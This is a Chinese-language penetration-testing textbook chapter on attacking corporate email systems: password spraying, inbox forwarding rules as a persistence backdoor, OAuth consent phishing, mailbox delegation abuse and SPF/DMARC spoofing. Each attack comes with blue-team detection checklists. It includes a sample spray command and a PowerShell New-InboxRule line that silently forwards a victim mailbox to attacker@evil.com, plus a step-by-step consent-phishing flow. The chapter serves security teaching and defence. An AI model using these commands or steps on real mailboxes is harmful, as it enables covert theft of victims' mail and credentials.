第 73 章 邮件系统攻击(OAuth 滥用 / 转发规则 / 钓鱼链)
邮件是企业身份的中心:邮箱=大量凭据、敏感数据、以及"身份跳板"。攻击面包括:转发规则滥用(持久化)、OAuth 应用授权、共享邮箱/委派、邮件头伪造、以及钓鱼链的最终落地。本章覆盖邮件攻击从初始访问到持续控制的完整链条。
📍 知识点地图 | 主题:邮件攻击 | 前置:第69章 | 后续:— | 核心概念:转发规则、OAuth应用、SPF/DKIM、钓鱼链
73.1 邮件攻击面地图
┌──────────────────────────────────────────────┐
│ 1. 凭据层: 密码/哈希/OAuth token │
│ 2. 邮箱规则层: 转发/收件箱规则(持久化!) │
│ 3. 权限层: 共享邮箱/委派/审批流程 │
│ 4. 应用层: OAuth 应用授权(App Consent) │
│ 5. 内容层: 邮件头伪造/SPF-DKIM-DMARC │
│ 6. 交互层: 钓鱼/邮件协议滥用(SMTP 中继) │
└──────────────────────────────────────────────┘
73.2 凭据获取与初始访问
□ 密码喷洒(第 59 章): 对 OWA/Exchange/365 登录接口
□ 哈希 relay(第 71 章): 认证中继到邮件服务
□ 钓鱼获取凭据(诱导登录): 这是"邮件→凭据"的循环
□ OAuth token 窃取: 恶意 App 授权(73.5)
□ 会话劫持: Cookie/token 窃取
工具:
spray(密码喷洒): python spray.py -u users.txt -p pass.txt https://target/owa
MailSniper: Exchange/365 枚举与利用(搜索邮件)
73.3 邮箱规则滥用(最常见的持久化后门)
原理
Exchange/365 支持"收件箱规则"(Inbox Rules):
条件(来自某人/包含关键词/所有邮件)
→ 动作(转发/移动/删除/标记)
攻击价值:
1. 转发规则: 把目标邮箱的邮件转发给攻击者 → 持续窃听
2. 删除规则: 隐藏攻击痕迹(删除告警邮件)
3. 移动规则: 隐藏已读的敏感邮件
4. 持久化: 规则藏在邮箱里(用户不知道/很难发现)
创建规则(攻击者视角)
# Exchange PowerShell(有权限时)
New-InboxRule -Name "backup" -Mailbox user@domain \
-ForwardTo attacker@evil.com -AlwaysReportToOriginator:$false
# Outlook Web Access (OWA): 设置 → 收件箱规则
# 365: 设置 → 邮件 → 转发
检测(蓝队视角)
□ 规则创建/变更审计(异常:新规则/转发到外部地址)
□ 邮件流向监控(内部 → 外部地址的异常转发)
□ 规则权限审计(谁对邮箱有"管理规则"权限)
□ 转发地址白名单
73.4 共享邮箱与委派滥用
□ 共享邮箱(Shared Mailbox): 多人访问同一邮箱 → 权限扩散
攻击者获得共享邮箱权限 → 读取/操作共享数据
□ 委派(Delegation): 授权他人访问自己的邮箱
攻击者创建委派 → 持续访问
□ 审批流程滥用: 邮件审批链(请假/报销/权限申请)→ 操控审批结果
□ 自动回复(AutoReply): 可能泄露信息(出差/内部联系人)
73.5 OAuth 应用授权攻击(App Consent)
原理
365/Azure AD 允许用户授权第三方应用访问自己的数据(同意授权)
攻击者创建恶意应用 → 诱导用户授权:
□ 恶意权限(读邮件/读联系人/发邮件)
□ 授权后: 应用长期访问用户邮箱(token 刷新)
攻击流程:
1. 注册恶意 Azure AD 应用(请求 Mail.Read/Send 权限)
2. 构造授权链接 → 诱导用户点击(钓鱼邮件/页面)
3. 用户授权 → 应用拿到 token(长期)
4. 持续读取/发送用户邮件(绕过密码和 MFA!)
检测
□ 新应用授权审计(谁授权了什么应用)
□ 应用权限审查(请求过大权限的应用)
□ 条件访问策略(限制第三方应用授权)
□ 用户教育("授权即交出邮箱")
73.6 邮件头伪造与协议滥用
□ SPF/DKIM/DMARC 配置缺陷 → 伪造发件人
□ SPF 未配置/宽松(+all)
□ DKIM 未签名
□ DMARC 无策略(none)→ 伪造邮件可送达
□ 邮件头注入(Header Injection): 注入 Bcc/额外收件人
□ SMTP 开放中继: 服务器允许任意转发 → 垃圾邮件/钓鱼中继
□ 内部邮件信任滥用: 伪造"内部"邮件 → 社工更有效
检查工具:
SPF: dig TXT <domain>
DMARC: dig TXT _dmarc.<domain>
DKIM: dig TXT <selector>._domainkey.<domain>
73.7 钓鱼链的完整闭环(邮件攻击全景)
1. 侦察: 收集目标员工邮箱/组织结构(第 57.3)
2. 伪造: 构造可信发件人(SPF/DMARC 缺陷或借用被控邮箱)
3. 投递: 钓鱼邮件(凭据钓鱼/附件恶意文档/链接)
4. 落地: 凭据窃取(伪造登录页)/恶意附件执行
5. 后门: 转发规则(73.3)→ 持续窃听
6. 横向: 邮箱里的密码/内网信息(邮件是信息金矿)
7. 二次钓鱼: 用被控邮箱向内部发钓鱼(信任链)
73.8 邮件攻击检查清单
□ 邮箱凭据获取路径(喷洒/relay/钓鱼)
□ 转发规则检查与创建(持久化)
□ 共享邮箱/委派权限枚举
□ OAuth 应用授权审计
□ SPF/DKIM/DMARC 配置检查
□ 邮件搜索(MailSniper: 敏感数据/凭据)
□ 自动回复信息泄露
□ 报告: 初始访问 + 持久化 + 数据影响
动手练习
- 检查一个域名的 SPF/DKIM/DMARC 配置(dig 查询),评估伪造邮件可行性。
- 在测试环境(或练习平台)创建一个邮箱转发规则,体验"转发后门"。
- 分析一份钓鱼邮件样本(邮件头),判断它的伪造技术(SPF 失败? 头注入?)。
- 画一张"邮件攻击闭环"图:从钓鱼到转发规则持久化的完整链。
深入阅读
- 仓库:
CTF-Sandbox-Orchestrator/competition-mailbox-abuse/(邮箱滥用 CTF 子技能) - 仓库:
CTF-Sandbox-Orchestrator/competition-oauth-oidc-chain/(OAuth 应用授权) - 仓库:
CTF-Sandbox-Orchestrator/competition-identity-windows/(AD 身份) - 仓库:
skills/attack-chain/SKILL.md(钓鱼阶段) - 实战案例:
skills/field-journal/seed-012_log4shell-jndi-rce.md(邮件触发场景)